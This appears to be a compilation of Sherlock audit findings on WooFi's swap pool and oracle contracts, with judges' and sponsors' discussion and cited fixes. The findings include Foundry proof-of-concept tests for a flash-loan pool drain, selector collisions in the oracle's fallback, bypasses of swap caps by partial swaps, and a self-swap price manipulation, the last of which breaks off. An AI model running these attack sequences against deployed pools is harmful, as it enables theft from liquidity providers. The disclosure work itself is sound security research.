Source: sherlock-audit#68
mstpr-brainbot
The pool can be drained just as it was during the incident that occurred previously.
maxNotionalSwap
and maxGamma
and the new math formula do not prevent the pool being drainable. Same attack vector that happent previously is still applicable:
https://woo.org/blog/en/woofi-spmm-exploit-post-mortem
https://rekt.news/woo-rekt/
Flashloan 99989999999999999990000 (99_990) WOO Sell WOO partially (in 10 pieces) assuming maxGamma | maxNotionalSwap doesnt allow us to do it in one go Sell 20 USDC and get 199779801821639475527975 (199_779) WOO Repay flashloan, pocket the rest of the 100K WOO.
Coded PoC:
function test_Exploit() public {
// Flashloan 99989999999999999990000 (99_990) WOO
// Sell WOO partially (in 10 pieces) assuming maxGamma | maxNotionalSwap doesnt allow us to do it in one go
// Sell 20 USDC and get 199779801821639475527975 (199_779) WOO
// Repay flashloan, pocket the rest of the 100K WOO.
// Reference values:
// s = 0.1, p = 1, c = 0.0001
// bootstrap the pool
uint usdcAmount = 100_0000_0_0000000000000_000;
deal(USDC, ADMIN, usdcAmount);
deal(WOO, ADMIN, usdcAmount);
deal(WETH, ADMIN, usdcAmount);
vm.startPrank(ADMIN);
IERC20(USDC).approve(address(pool), type(uint256).max);
IERC20(WOO).approve(address(pool), type(uint256).max);
IERC20(WETH).approve(address(pool), type(uint256).max);
pool.depositAll(USDC);
pool.depositAll(WOO);
pool.depositAll(WETH);
vm.stopPrank();
////////////////////////
// fund mr TAPIR
vm.startPrank(TAPIR);
uint wooAmountForTapir = 9999 * 1e18 - 1000;
deal(WOO, TAPIR, wooAmountForTapir * 10);
IERC20(USDC).approve(address(router), type(uint256).max);
IERC20(WOO).approve(address(router), type(uint256).max);
IERC20(WETH).approve(address(router), type(uint256).max);
vm.stopPrank();
////////////////////////
// get the price before the swaps
(uint128 price, ) = oracle.woPrice(WOO);
console.log("Price before the swap", price);
// here, we assume maxGamma and maxNotionalSwap can save us. However, due to how AMM behaves
// partial swaps in same tx will also work and it will be even more profitable!
uint cumulative;
for (uint i; i < 10; ++i) {
vm.prank(TAPIR);
cumulative += router.swap(WOO, USDC, wooAmountForTapir, 0, payable(TAPIR), TAPIR);
}
// how much we bought and what's the final swap?
console.log("USDC bought after swaps", cumulative);
(price, ) = oracle.woPrice(WOO);
console.log("Price after swap", price);
// sell 20 USDC, how much WOO we get? (199779801821639475527975)
vm.prank(TAPIR);
uint receivedWOO = router.swap(USDC, WOO, 20 * 1e6, 0, payable(TAPIR), TAPIR);
console.log("Received WOO", receivedWOO); // 199779801821639475527975 (10x)
console.log("Total WOO flashloaned", wooAmountForTapir * 10); // 99989999999999999990000
// attack is succesfull
assertGe(receivedWOO, wooAmountForTapir * 10);
}
Manual Review
fb-alexcq
This extreme price-deviation case has already been handled by price check (against Chainlink) in our Wooracle's price function.
mstpr
@fb-alexcq correct, but some tokens like WOO does not have chainlink price feeds in other networks, in that case the attack is feasible
fb-alexcq
Thanks for the feedback.
We already decided to never support any token which are unavailable in Chainlink, right after we got exploited a month ago. And this is the only way to fix it; otherwise, the project cannot run again.
WangSecurity
The info about not using tokens that don't have Chainlink price feeds is not in README. Moreover, the README says any standard token. Therefore, aproppriate severity is High.
WangSecurity
I've consulted on this issue with the Head of Judging and decided to invalidate it, since such tokens wouln't be used. The README says "any" ERC20 token, therefore, it's expected tokens without the any weird traits will be used.
mstpr
Escalate
Every ERC20 can be used, tokens that does not have a a chainlink price feed set is not considered as "weird" tokens as per Sherlock: https://github.com/d-xo/weird-erc20
Also, the current scope of contracts indeed assumes that there can be tokens used that does not have chainlink price feeds https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/wooracle/WooracleV2_2.sol#L247-L255
Additionally, the README does not states that tokens that have no chainlink oracle will not be used. Though, this would be contradictory anyways since the current code has an extra logic to handle tokens without the chainlink price feed.
Also, the deployed chains are as follows in README: Arbitrum, Optimism, Base, Avalanche, BSC, Polygon PoS, Mantle, Fantom, Polygon zkEVM, zkSync, Linea There are lots of tokens that does not have chainlink price feed and have very high liquidity on some of them. For example, the WOO token has no price feeds, SOL token doesn't have price feed in Linea, zkSyncEVM, MATIC token doesn't have price feed in Linea, Scroll, Base etc.
Considering how serious the issue is and the above, this issue should be definitely considered as a high issue.
sherlock-admin2
Escalate
Every ERC20 can be used, tokens that does not have a a chainlink price feed set is not considered as "weird" tokens as per Sherlock: https://github.com/d-xo/weird-erc20
Also, the current scope of contracts indeed assumes that there can be tokens used that does not have chainlink price feeds https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/wooracle/WooracleV2_2.sol#L247-L255
Additionally, the README does not states that tokens that have no chainlink oracle will not be used. Though, this would be contradictory anyways since the current code has an extra logic to handle tokens without the chainlink price feed.
Also, the deployed chains are as follows in README: Arbitrum, Optimism, Base, Avalanche, BSC, Polygon PoS, Mantle, Fantom, Polygon zkEVM, zkSync, Linea There are lots of tokens that does not have chainlink price feed and have very high liquidity on some of them. For example, the WOO token has no price feeds, SOL token doesn't have price feed in Linea, zkSyncEVM, MATIC token doesn't have price feed in Linea, Scroll, Base etc.
Considering how serious the issue is and the above, this issue should be definitely considered as a high issue.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
WangSecurity
Agree with everything that tapir says above, but want to note that I've consulted with the head of judging before making this decision. But, I agree that I may have phrased the problem not very clearly and will send what I've said to the head of judging about it.
My message: "in some issues the problem is that tokens don't have chainlink's price feed, but the sponsor says they will only use tokens with the feeds."
The head of judging said this doesn't sound like a vulnerability.
After that I also added: "oh, sorry, I missed for the first one, it allowed to drain the entire pool, but still it required to whitelist tokens without the price feed, which they didn't intend to do." and head of judging is reacted with a thumbs up emoji.
I don't say that tapir is wrong and agree with his reasons, therefore, I will accept it decision from the head of judging. Just wanted to note why it's invalidated.
Czar102
I think the fact that there are special fragments of code to handle the no oracle cases is a game-changer in this judgment. Without that detail, this would clearly be an admin misconfiguration, but it seems that tokens without a Chainlink feed were intended (or allowed) to be used.
Given that it wasn't noted anywhere (to my best knowledge) that this fragment of the code will never be used, i.e. all whitelisted tokens will have a Chainlink feed, I am planning to consider this a valid High severity issue.
WangSecurity
Great issue @mstpr !
Czar102
Result: High Unique
sherlock-admin3
Escalations have been resolved successfully!
Escalation status:
- mstpr: accepted
sherlock-admin3
The protocol team fixed this issue in the following PRs/commits: woonetwork/WooPoolV2#116
sherlock-admin2
The Lead Senior Watson signed off on the fix.
fb-alexcq
Fixes merged: https://github.com/woonetwork/WooPoolV2/commit/8b086a35b846bac52547abef5b8bb5a2999208bd https://github.com/woonetwork/WooPoolV2/commit/48737fcbbe315c8f835960193dd3dfdbb2b454d7
Source: sherlock-audit#13
The protocol has acknowledged this issue.
KingNFT
WooracleV2_2.fallback()
is used to post zipped token price and state data to the contract for sake of gas saving. However, the first 4 bytes of zipped data are not reserved to distinguish the ZIP
call and other normal call's function selector.
This would cause ZIP
calls to be accidentally interpreted as any other functions in the contract, result in unintended exceptions and potential damages.
According solidity's official doc, there are two forms of fallback()
function with
or without
parameter
fallback () external [payable];
fallback (bytes calldata _input) external [payable] returns (bytes memory _output);
reference: https://docs.soliditylang.org/en/v0.8.12/contracts.html#fallback-function
In WooracleV2_2
contract, the second form is used, but the implementation misses an important note from the above doc
If the version with parameters is used, _input will contain the full data sent to the contract (equal to msg.data)
As the _input
data is equal to msg.data
, the solidity compiler would firstly check if first 4 bytes matches any normal function selectors, and would only execute fallback(_input)
while no matching. Therefore, in zipped data, the first 4 bytes must be set to some reserved function selector, such as 0x00000000
, with no collision to normal function selectors. And the real zipped data then starts from 5th byte.
The following coded PoC shows cases that the zipped data is accidentally interpreted as:
function renounceOwnership(); function setStaleDuration(uint256); function postPrice(address,uint128); function syncTS(uint256);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test} from "../../lib/forge-std/src/Test.sol";
import {console2} from "../../lib/forge-std/src/console2.sol";
import {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";
contract WooracleZipBugTest is Test {
WooracleV2_2 public oracle;
function setUp() public {
oracle = new WooracleV2_2();
}
function testNormalCase() public {
/* reference:
File: test\typescript\wooraclev2_zip_inherit.test.ts
97: function _encode_woo_price() {
op = 0
len = 1
(base, p)
base: 6, woo token
price: 0.23020
23020000 (decimal = 8)
*/
uint8 base = 6;
bytes memory zip = _makeZipData({
op: 0,
length: 1,
leadingBytesOfBody: abi.encodePacked(base, uint32((2302 << 5) + 4))
});
(bool success, ) = address(oracle).call(zip);
assertEq(success, true);
address wooAddr = oracle.getBase(6);
(uint256 price, bool feasible) = oracle.price(wooAddr);
assertEq(price, 23020000);
assertTrue(feasible);
}
function testCollisionWithRenounceOwnership() public {
// selector of "renounceOwnership()": "0x715018a6"
bytes memory zip = _makeZipData({
op: 1,
length: 0x31,
leadingBytesOfBody: abi.encodePacked(hex"5018a6")
});
assertEq(oracle.owner(), address(this));
(bool success, ) = address(oracle).call(zip);
assertEq(success, true);
assertEq(oracle.owner(), address(0));
}
function testCollisionWithSetStaleDuration() public {
// selector of "setStaleDuration(uint256)": "0x99235fd4"
bytes memory zip = _makeZipData({
op: 2,
length: 0x19,
leadingBytesOfBody: abi.encodePacked(hex"235fd4")
});
assertEq(oracle.staleDuration(), 120); // default: 2 mins
(bool success, ) = address(oracle).call(zip);
assertEq(success, true);
uint256 expectedStaleDuration;
assembly {
expectedStaleDuration := mload(add(zip, 36))
}
assertEq(oracle.staleDuration(), expectedStaleDuration);
assertTrue(expectedStaleDuration != 120);
}
function testCollisionWithPostPrice() public {
// selector of "postPrice(address,uint128)": "0xd5bade07"
bytes memory addressAndPrice = abi.encode(address(0x1111), uint256(100));
bytes memory zip = _makeZipData({
op: 3,
length: 0x15,
leadingBytesOfBody: abi.encodePacked(hex"bade07", addressAndPrice)
});
(bool success, ) = address(oracle).call(zip);
assertEq(success, true);
(uint256 price, bool feasible) = oracle.price(address(0x1111));
assertEq(price, 100);
assertTrue(feasible);
}
function testCollisionWithSyncTS() public {
// selector of "syncTS(uint256)": "4f1f1999"
uint256 timestamp = 12345678;
bytes memory zip = _makeZipData({
op: 1,
length: 0xf,
leadingBytesOfBody: abi.encodePacked(hex"1f1999", timestamp)
});
(bool success, ) = address(oracle).call(zip);
assertEq(success, true);
assertEq(oracle.timestamp(), timestamp);
}
function _makeZipData(
uint8 op,
uint8 length,
bytes memory leadingBytesOfBody
) internal returns (bytes memory result) {
assertTrue(length < 2 ** 6);
assertTrue(op < 4);
bytes1 head = bytes1(uint8((op << 6) + (length & 0x3F)));
uint256 sizeOfItem = op == 0 || op == 2 ? 5 : 13;
uint256 sizeOfHead = 1;
uint256 sizeOfBody = sizeOfItem * length;
assertTrue(sizeOfBody >= leadingBytesOfBody.length);
result = bytes.concat(head, leadingBytesOfBody, _makePseudoRandomBytes(sizeOfBody - leadingBytesOfBody.length));
assertEq(result.length, sizeOfHead + sizeOfBody);
}
function _makePseudoRandomBytes(uint256 length) internal returns (bytes memory result) {
uint256 words = (length + 31) / 32;
result = new bytes(words * 32);
for (uint256 i; i < words; ++i) {
bytes32 rand = keccak256(abi.encode(block.timestamp + i));
assembly {
mstore(add(add(result, 32), mul(i, 32)), rand)
}
}
assembly {
mstore(result, length) // change to required length
}
assertEq(length, result.length);
}
}
And the logs:
2024-03-woofi-swap\WooPoolV2> forge test --match-contract WooracleZipBugTest -vv
[⠢] Compiling...No files changed, compilation skipped
[⠆] Compiling...
Running 5 tests for test/foundry/WooracleZipBug.t.sol:WooracleZipBugTest
[PASS] testCollisionWithPostPrice() (gas: 48643)
[PASS] testCollisionWithRenounceOwnership() (gas: 21301)
[PASS] testCollisionWithSetStaleDuration() (gas: 18289)
[PASS] testCollisionWithSyncTS() (gas: 35302)
[PASS] testNormalCase() (gas: 48027)
Test result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.13ms
Ran 1 test suites: 5 tests passed, 0 failed, 0 skipped (5 total tests)
This bug would result in unintended exceptions and potential damages such as:
- Collision with normal price post functions might cause users' trades executed on incorrect price and suffer losses.
- Collision with any view function might cause price post to fail silently and hold on trade processing until next submission, and users' trades might be executed on a delayed inexact price.
- Collision with
setStaleDuration()
might cause price freshness check to break down.
Manual Review
diff --git a/WooPoolV2/contracts/wooracle/WooracleV2_2.sol b/WooPoolV2/contracts/wooracle/WooracleV2_2.sol
index 9e66c63..4a9138f 100644
--- a/WooPoolV2/contracts/wooracle/WooracleV2_2.sol
+++ b/WooPoolV2/contracts/wooracle/WooracleV2_2.sol
@@ -416,9 +416,10 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {
*/
uint256 x = _input.length;
- require(x > 0, "WooracleV2_2: !calldata");
+ require(x > 4, "WooracleV2_2: !calldata");
+ require(bytes4(_input[0:4]) == bytes4(hex"00000000"));
- uint8 firstByte = uint8(bytes1(_input[0]));
+ uint8 firstByte = uint8(bytes1(_input[5]));
uint8 op = firstByte >> 6; // 11000000
uint8 len = firstByte & 0x3F; // 00111111
@@ -428,12 +429,12 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {
uint128 p;
for (uint256 i = 0; i < len; ++i) {
- base = getBase(uint8(bytes1(_input[1 + i * 5:1 + i * 5 + 1])));
- p = _decodePrice(uint32(bytes4(_input[1 + i * 5 + 1:1 + i * 5 + 5])));
+ base = getBase(uint8(bytes1(_input[5 + i * 5:5 + i * 5 + 1])));
+ p = _decodePrice(uint32(bytes4(_input[5 + i * 5 + 1:5 + i * 5 + 5])));
infos[base].price = p;
}
- timestamp = (op == 0) ? block.timestamp : uint256(uint32(bytes4(_input[1 + len * 5:1 + len * 5 + 4])));
+ timestamp = (op == 0) ? block.timestamp : uint256(uint32(bytes4(_input[5 + len * 5:5 + len * 5 + 4])));
} else if (op == 1 || op == 3) {
// post states list
address base;
@@ -442,14 +443,14 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {
uint64 k;
for (uint256 i = 0; i < len; ++i) {
- base = getBase(uint8(bytes1(_input[1 + i * 9:1 + i * 9 + 1])));
- p = _decodePrice(uint32(bytes4(_input[1 + i * 9 + 1:1 + i * 9 + 5])));
- s = _decodeKS(uint16(bytes2(_input[1 + i * 9 + 5:1 + i * 9 + 7])));
- k = _decodeKS(uint16(bytes2(_input[1 + i * 9 + 7:1 + i * 9 + 9])));
+ base = getBase(uint8(bytes1(_input[5 + i * 9:5 + i * 9 + 1])));
+ p = _decodePrice(uint32(bytes4(_input[5 + i * 9 + 1:5 + i * 9 + 5])));
+ s = _decodeKS(uint16(bytes2(_input[5 + i * 9 + 5:5 + i * 9 + 7])));
+ k = _decodeKS(uint16(bytes2(_input[5 + i * 9 + 7:5 + i * 9 + 9])));
_setState(base, p, s, k);
}
- timestamp = (op == 1) ? block.timestamp : uint256(uint32(bytes4(_input[1 + len * 9:1 + len * 9 + 4])));
+ timestamp = (op == 1) ? block.timestamp : uint256(uint32(bytes4(_input[5 + len * 9:5 + len * 9 + 4])));
} else {
revert("WooracleV2_2: !op");
}
fb-alexcq
- First your suggested issue right; it may have function collisions. Thanks for pointing it out.
- More importantly, the frequency is negligible. We have 30 functions there, so collision probability is 30/(2^32) = 0.000000006984919; We typically update our Wooracle in 5 seconds, so a collision only happen once every 1000,000,000 seconds , that is 31 years: https://calculat.io/en/date/seconds/1000000000
- From engineering perspective: we utilize this zip fallback function to save calldata's gas consumption, so it's impossible to add another plain 4 bytes to only avoid collision. Even with collusion, our offline script can catch the tx failure and resend it again, it won't cause any disaster.
Source: sherlock-audit#20
The protocol has acknowledged this issue.
Bandit, mstpr-brainbot
Selling base tokens partially instead of one go is always more profitable
First, let's write down our formulas of sellBase tokens for quoteTokens: g: gamma s: spread c: coefficient p: price np: new price (price after selling base tokens)
g = deltaBase * p * c deltaQuote = deltaBase * p * (1 - (g + s)) np = p * (1 - g)
Code snippet for the above formulas: https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L591-L619
Here I graphed both sellQuote
and sellBase
functions:
https://www.desmos.com/calculator/svmjlxhavw
As we can observe, if the price is >1 then the selling base tokens (red in the graph) will start decreasing after it reaches the middle value. Same happens vice versa when price is <1 for selling quote tokens (blue in the graph). This heavily incentivise smaller swaps and heavily disincentives bigger swaps. Also, since selling smaller amounts are ALWAYS more profitable, maxGamma
and maxNotionalSwap
values can be bypassed without a loss (even for profits)
Textual PoC: Now, let's do a textual example to see whether selling 20 base tokens is profitable then selling 2 times 10 base tokens For this example, let's assume: p = 1 c = 0.01 s = 0.1 and there are no swap fees for simplicity.
First, let's sell 20 base tokens: g = 20 * 1 * 0.01 = 0.2 deltaQuote = 20 * 1 * (1 - (0.1 + 0.1)) = 14 quote tokens received will be 14
Now, let's sell 10 base tokens in 2 times in a single transaction: g1 = 10 * 1 * 0.01 = 0.1 deltaQuote1 = 10 * 1 * (1- (0.1 + 0.1)) = 8 np = 1 * (1 - 0.1) = 0.9 received 8 quote tokens in first sell of 10 base tokens
g2 = 10 * 0.9 * 0.01 = 0.09 deltaQuote2 = 10 * 0.9 * (1 - (0.1 + 0.09)) = 7.29 received 7.29 quote tokens in second sell of 10 base tokens
in total 7.29 + 8 = 15.29 quote tokens received! however, if we were to swap 10 tokens in one go we would end up with 14 quote tokens!
This also means that swaps that are not possible because of maxNotionalSwap
can be divided into partial swaps and the end result would be even higher!
If the maxNotionalSwap
is 100K USDC, someone can swap 2 times 50K USDC to receive even higher amount of quote tokens! Hence, the exploit that happent to WooFi would still be possible and even worse since the partial swaps are better than single go.
Here a test where it compares selling 1000 WETH in one go, 500-500 and 1-1-1-... 1000 times in a single tx:
// @dev fee is "100", coeff = 0.000000001 * 1e18, spread = 0.001 * 1e18 as in the tests
// setting fee to a different value is not relevant, attack is still there, just slighly less profitable
// @dev sell 1000 in single tx
function test_SellBase1Part() public {
uint sellWethAmount = 1000 * 1e18;
_fundAndApproveAdminAndTapir(1000_0000 * 1e6, sellWethAmount);
vm.prank(TAPIR);
uint receivedUSDC = router.swap(WETH, USDC, sellWethAmount, 0, payable(TAPIR), TAPIR);
console.log("Received USDC", receivedUSDC);
console.log("contract usdc balance", IERC20(USDC).balanceOf(address(pool)));
}
// @dev sell 500-500 in single tx
function test_Sell2Parts() public {
uint sellWethAmount = 1000 * 1e18;
_fundAndApproveAdminAndTapir(1000_0000 * 1e6, sellWethAmount);
uint cumulative;
for (uint i; i < 2; ++i) {
// sell 5 wei dust
vm.prank(TAPIR);
uint receivedUSDC = router.swap(WETH, USDC, sellWethAmount / 2, 0, payable(TAPIR), TAPIR);
(uint128 price, ) = oracle.woPrice(WETH);
cumulative += receivedUSDC;
}
console.log("Received USDC", cumulative);
console.log("contract usdc balance", IERC20(USDC).balanceOf(address(pool)));
}
// @dev sell 1-1-1-1.... in single tx
function test_Sell1000Parts() public {
uint sellWethAmount = 1000 * 1e18;
_fundAndApproveAdminAndTapir(1000_0000 * 1e6, sellWethAmount);
uint cumulative;
for (uint i; i < 1000; ++i) {
// sell 5 wei dust
vm.prank(TAPIR);
uint receivedUSDC = router.swap(WETH, USDC, sellWethAmount / 1000, 0, payable(TAPIR), TAPIR);
(uint128 price, ) = oracle.woPrice(WETH);
cumulative += receivedUSDC;
}
console.log("Received USDC", cumulative);
console.log("contract usdc balance", IERC20(USDC).balanceOf(address(pool)));
}
Results: Selling 500-500 instead of 1000 in one go: 3395.800042 USDC more received Selling 1-1-1-1-... 1000 times instead 1000 in one go: 6776.505788 USDC more received!
Breaking the maxNotionalSwap
amount and unfair AMM model
Manual Review
fb-alexcq
Thanks for the feedback. This is a known scope when designing our SPMM formula. Again we want to follow up with:
- Seems like you're not considering the swap fee
- Split into multiple small swaps, only can save users from huge slippage, but it won't cause our protocol lose funds, right? 1000 times for 1 each looks like still not profitable to the attacker, right?
mstpr
The protocol will not lose funds, correct. However, the maxGamma and maxNotionalSwap variables will be rendered useless since partial swaps can be used to bypass these checks, making it even profitable to do so.
fb-alexcq
This extreme price-deviation case has already been handled by price check (against Chainlink) in our Wooracle's price
function.
WangSecurity
Initially, it was a duplicate of 68, but these are different issues and it presents an unfair formule, therefore, we decided to keep this one as valid.
WangSecurity
Sponsor said that this AMM model is in fact intended, cause 99% of their swaps are small. But, it wasn't mentioned in the README, therefore, we validate this report as Med due to validation of maxGamma and maxNotionalSwap (core functionality break).
Banditx0x
@mstpr I believe the protocol does actually lose funds here:
- The protocol acts as the liquidity provider
- The net-result for a trader and LP in a trade is zero-sum.
- If a trader unfairly avoids slippage by gaming the AMM formula, each $ saved by the trader is lost by the LP
Lmk your thoughts
Banditx0x
@fb-alexcq in response to something you brought up in issue 20 (duplicate):
Thanks for the feedback.
Technically it is okay to avoid huge slippage by splitting into small swaps, right? BTW, is there a way for attacker to get profits (instead of saving the loss) from the split swap? Better to consider there's a 2-5 bps swap fee.
I would like to emphasie that although splitting a very large swap into smaller ones reduces slippage in basically all AMM's, this slippage reduction is due to a trade in between swaps arbitraging the price of the AMM back to the correct price in between your multiple swaps. This is a core invariant of all widely used AMM formulas, and has significant second order consequences as detailed in issue #47 . Woofi's current formula is different from any widely used AMM formula in that it requires no -inbetween price corrections to get this slippage discount.
For example, in Uniswap v2, Uniswap v3, Curve, Balancer etc it doesn't matter if you swap 100 tokens or 1 token 100 times. As long as no transactions happen in between, the tokens returned will be the same.
I'd highly reccomend going back to the old formula which was consistent with this invariant unless it allows another type of vulnerability.
Banditx0x
Escalate.
I think it's high severity for above reasons.
Please consider this issue along with the reasoning provided in #47 . I believe me and @mstpr are providing different perspectives to the issue despite the same root cause.
Note that #47 demonstrates an example with a 2% slippage, and will continue to apply at lower slippage %'s so this actually applies even when 99% of the swaps are small.
Seems like you're not considering the swap fee
Addressing this: the swap fee is a percentage of the swap size. Therefore splitting a swap into multiple smaller swaps will result in basically the same sum of swap fees.
The formula allows certain users (one's that optimise and perfectly calculate swap splitting) a lower slippage. Normal users that use the User Interface or don't perfectly calculate their split sizes don't get the same privilege. Giving extremely advanced users lower AMM prices than everybody else is equivalent to loss of funds for the not-so-savvy swappers.
sherlock-admin2
Escalate.
I think it's high severity for above reasons.
Please consider this issue along with the reasoning provided in #47 . I believe me and @mstpr are providing different perspectives to the issue despite the same root cause.
Note that #47 demonstrates an example with a 2% slippage, and will continue to apply at lower slippage %'s so this actually applies even when 99% of the swaps are small.
Seems like you're not considering the swap fee
Addressing this: the swap fee is a percentage of the swap size. Therefore splitting a swap into multiple smaller swaps will result in basically the same sum of swap fees.
The formula allows certain users (one's that optimise and perfectly calculate swap splitting) a lower slippage. Normal users that use the User Interface or don't perfectly calculate their split sizes don't get the same privilege. Giving extremely advanced users lower AMM prices than everybody else is equivalent to loss of funds for the not-so-savvy swappers.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
mstpr
@Banditx0x
If this is design choice, then someone making partial swaps will get more tokens, and yes, this would be loss of funds. Additionally, the maxGamma and maxNotionalSwap can easily be bypassed.
Example: If selling 10 base tokens should receive 5 quote tokens, and if someone selling 2-2-2-2-2 base tokens and receives 7 quote tokens at the end, than the 2 quote tokens would be the loss of protocol since they don't want this to happen in their AMM. Hence, high could be considered.
I think you are right with your comments, if this is design choice, then high would be appropriate.
WangSecurity
I believe it should remain medium cause, essentially, it is expected behaviour by the protocol which was confirmed by the sponsor. But, I believe breaking maxGamma and maxNotionalSwap is breaking core functionality, therefore, it's medium and not enough for a high.
I don't say that watsons above are wrong, I see and understand their points and will accept any decision by the head of judging.
Czar102
Kudos to @Banditx0x @mstpr for the deep understanding of the math.
As much as I like this finding, I don't think it presents a loss of funds per se, and there are no earnings to the "exploiters", the total (and marginal!) slippage still increases as more volume goes in any way. This is a math inconsistency, and I would be considering it as a borderline Low/Medium severity issue.
Given that an escalation only exists to increase the severity, I'm planning to reject it and leave the issue as is, and I will not consider downgrading this issue.
fb-alexcq
@mstpr @Banditx0x thanks for detailed follow and explanation.
Could you please send me the whole file of your foundry test, so that I can run it here in my environment? so that to better verify your raised issues.
BTW, could you also try your attach vector on our newly deployed WooPP going live this Monday? https://arbiscan.io/address/0xed9e3f98bbed560e66b89aac922e29d4596a9642 Is that possible to profit or swap for more tokens here in our new version?
mstpr
@fb-alexcq I plugged in the numbers from deployment to my desmos graph. With current values, if someone swaps 14_350 BTC they get "0" usdc token in exchange.
Another example: if you sell 1M USDC in one go you get: 14.41563574 WBTC
if you sell 1M USDC in 1000 iterations (1000, 1000, 1000....) you get: 14.42278414 WBTC
the difference is 0.0071484 WBTC, 500$
test (directly points the current deployment shared above) https://gist.github.com/mstpr/0a099688cb48cdc6bec42ceb1c322e8c
fb-alexcq
OK. Cool, Thanks.
This result is with Chainlink Oracle Guardian (+-5%) set up right ?
mstpr
Kudos to @Banditx0x @mstpr for the deep understanding of the math.
As much as I like this finding, I don't think it presents a loss of funds per se, and there are no earnings to the "exploiters", the total (and marginal!) slippage still increases as more volume goes in any way. This is a math inconsistency, and I would be considering it as a borderline Low/Medium severity issue.
Given that an escalation only exists to increase the severity, I'm planning to reject it and leave the issue as is, and I will not consider downgrading this issue.
What about looking at this angle?
If this is design choice, then swapping 1M USDC should result at 10 BTC. However, if you swap partially up to 1M USDC then you will end up with say 100 BTC. This 90 BTC difference is basically loss of funds for Woofi considering their design choice, right?
Czar102
@mstpr this is not a design choice, this is a math inconsistency, as I noted above.
As long as "it's fine" for the user to get 100 BTC for 1m USDC, then it's not loss of funds, but suboptimal strategy of the 1M USDC <> 10 BTC swapper. But given that the discrepancy in this case is rather minimal (we won't have 90% slippage), I stand by my previous comment.
Czar102
Result: Medium Has duplicates
sherlock-admin3
Escalations have been resolved successfully!
Escalation status:
- banditx0x: rejected
Source: sherlock-audit#32
Ironsidesec, KingNFT, klaus
WooPPV2.swap()
doesn't forbid the case that fromToken == toToken == baseToken
, attackers can make any baseToken
's price unboundedly drifting away by swapping with self.
The issue arises due to incorrect logic in WooPPV2._swapBaseToBase()
:
- Firstly, we can see the situation that
fromToken == toToken == baseToken
can pass the checks on L521~L522. baseToken
's state & price is cached in memory on L527~L528, and updated first time on L541, but the price calculation on L555 still uses the cached state, and thenewBase2Price
is set towooracle
on L556 as the final price after the swap.
As a result, swapping baseToken
with itself will cause a net price drift rather than keeping price unchanged.
File: contracts\WooPPV2.sol
513: function _swapBaseToBase(
...
520: ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {
521: require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");
522: require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");
...
527: IWooracleV2.State memory state1 = IWooracleV2(wooracle).state(baseToken1);
528: IWooracleV2.State memory state2 = IWooracleV2(wooracle).state(baseToken2);
...
539: uint256 newBase1Price;
540: (quoteAmount, newBase1Price) = _calcQuoteAmountSellBase(baseToken1, base1Amount, state1);
541: IWooracleV2(wooracle).postPrice(baseToken1, uint128(newBase1Price));
...
554: uint256 newBase2Price;
555: (base2Amount, newBase2Price) = _calcBaseAmountSellQuote(baseToken2, quoteAmount, state2);
556: IWooracleV2(wooracle).postPrice(baseToken2, uint128(newBase2Price));
...
578: }
The following coded PoC intuitively shows the problem with a specific case:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test} from "../../lib/forge-std/src/Test.sol";
import {console2} from "../../lib/forge-std/src/console2.sol";
import {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";
import {WooPPV2} from "../../contracts/WooPPV2.sol";
import {TestERC20Token} from "../../contracts/test/TestERC20Token.sol";
import {TestUsdtToken} from "../../contracts/test/TestUsdtToken.sol";
contract TestWbctToken is TestERC20Token {
function decimals() public view virtual override returns (uint8) {
return 8;
}
}
contract PriceManipulationAttackTest is Test {
WooracleV2_2 oracle;
WooPPV2 pool;
TestUsdtToken usdt;
TestWbctToken wbtc;
address evil = address(0xbad);
function setUp() public {
usdt = new TestUsdtToken();
wbtc = new TestWbctToken();
oracle = new WooracleV2_2();
pool = new WooPPV2(address(usdt));
// parameters reference: Integration_WooPP_Fee_Rebate_Vault.test.ts
pool.setMaxGamma(address(wbtc), 0.1e18);
pool.setMaxNotionalSwap(address(wbtc), 5_000_000e6);
pool.setFeeRate(address(wbtc), 25);
oracle.postState({_base: address(wbtc), _price: 50_000e8, _spread: 0.001e18, _coeff: 0.000000001e18});
oracle.setWooPP(address(pool));
oracle.setAdmin(address(pool), true);
pool.setWooracle(address(oracle));
// add some initial liquidity
usdt.mint(address(this), 10_000_000e6);
usdt.approve(address(pool), type(uint256).max);
pool.depositAll(address(usdt));
wbtc.mint(address(this), 100e8);
wbtc.approve(address(pool), type(uint256).max);
pool.depositAll(address(wbtc));
}
function testMaxPriceDriftInNormalCase() public {
(uint256 initPrice, bool feasible) = oracle.price(address(wbtc));
assertTrue(feasible);
assertEq(initPrice, 50_000e8);
// buy almost all wbtc in pool
usdt.mint(address(this), 5_000_000e6);
usdt.transfer(address(pool), 5_000_000e6);
pool.swap({
fromToken: address(usdt),
toToken: address(wbtc),
fromAmount: 5_000_000e6,
minToAmount: 0,
to: address(this),
rebateTo: address(this)
});
(uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));
assertTrue(feasible2);
uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;
assertEq(drift, 502); // 0.502%
console2.log("Max price drift in normal case: ", _toPercentString(drift));
}
function testUnboundPriceDriftInAttackCase() public {
(uint256 initPrice, bool feasible) = oracle.price(address(wbtc));
assertTrue(feasible);
assertEq(initPrice, 50_000e8);
